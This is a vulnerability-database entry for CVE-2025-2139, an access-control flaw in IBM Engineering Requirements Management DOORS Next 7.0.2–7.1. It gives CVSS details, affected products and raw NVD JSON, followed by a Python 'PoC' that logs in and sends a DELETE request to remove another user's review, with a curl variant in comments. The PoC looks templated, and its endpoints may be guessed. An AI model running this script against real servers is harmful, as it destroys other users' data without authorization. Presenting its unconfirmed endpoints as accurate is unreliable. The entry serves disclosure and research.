Security Vulnerability Report
中文
CVE-2025-2139 CVSS 3.5 LOW

CVE-2025-2139

Published: 2025-10-12 14:15:36
Last Modified: 2025-10-16 14:27:02

Description

IBM Engineering Requirements Management Doors Next 7.0.2, 7.0.3, and 7.1 could allow an authenticated user on the network to delete reviews from other users due to client-side enforcement of server-side security.

CVSS Details

CVSS Score
3.5
Severity
LOW
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:engineering_requirements_management_doors_next:7.0.2:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:engineering_requirements_management_doors_next:7.0.3:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:engineering_requirements_management_doors_next:7.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:ibm:aix:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
IBM Engineering Requirements Management DOORS Next 7.0.2
IBM Engineering Requirements Management DOORS Next 7.0.3
IBM Engineering Requirements Management DOORS Next 7.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-2139 PoC - IBM DOORS Next Review Deletion Access Control Bypass # This PoC demonstrates how to bypass client-side enforcement to delete reviews from other users import requests import json # Configuration TARGET_URL = "https://target-doors-next-server:9443" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Authenticate and obtain session session = requests.Session() session.verify = False # For testing purposes only # Login to obtain JAZZ authentication token login_url = f"{TARGET_URL}/jts/authenticated/identity" login_data = { "j_username": USERNAME, "j_password": PASSWORD } response = session.post( f"{TARGET_URL}/jts/authenticated/j_security_check", data=login_data ) # Get the authentication token from cookies auth_token = session.cookies.get("JSESSIONID") print(f"[+] Obtained session: {auth_token}") # Step 2: Enumerate target review IDs belonging to other users # Reviews can be found via the DOORS Next review API reviews_url = f"{TARGET_URL}/rm/reviews" headers = { "Accept": "application/json", "Jazz-Token": auth_token, "Content-Type": "application/json" } # Step 3: Attempt to delete a review belonging to another user # The review ID (e.g., "_abc123") belongs to a different user target_review_id = "_target_review_id_here" delete_url = f"{TARGET_URL}/rm/reviews/{target_review_id}" # Step 4: Send DELETE request - server fails to verify ownership # Client-side check is bypassed because we send the request directly response = session.delete( delete_url, headers=headers ) if response.status_code == 200 or response.status_code == 204: print(f"[+] Successfully deleted review {target_review_id} belonging to another user!") print(f"[+] Response: {response.status_code} - {response.text}") else: print(f"[-] Failed: {response.status_code} - {response.text}") # Alternative: Use curl to bypass client-side JavaScript validation # curl -X DELETE "https://target:9443/rm/reviews/_reviewId" \ # -H "Jazz-Token: <token>" \ # -H "Cookie: JSESSIONID=<session_id>"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-2139", "sourceIdentifier": "[email protected]", "published": "2025-10-12T14:15:36.213", "lastModified": "2025-10-16T14:27:01.660", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Engineering Requirements Management Doors Next 7.0.2, 7.0.3, and 7.1 could allow an authenticated user on the network to delete reviews from other users due to client-side enforcement of server-side security."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-602"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:engineering_requirements_management_doors_next:7.0.2:*:*:*:*:*:*:*", "matchCriteriaId": "6702EFCC-2FC7-48F3-9356-40033D147332"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:engineering_requirements_management_doors_next:7.0.3:*:*:*:*:*:*:*", "matchCriteriaId": "0634040A-046B-4F1D-AD33-7095D68429C5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:engineering_requirements_management_doors_next:7.1:*:*:*:*:*:*:*", "matchCriteriaId": "E44B30C9-5962-4994-A810-B0E04561EDD3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:ibm:aix:-:*:*:*:*:*:*:*", "matchCriteriaId": "E492C463-D76E-49B7-A4D4-3B499E422D89"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7247716", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}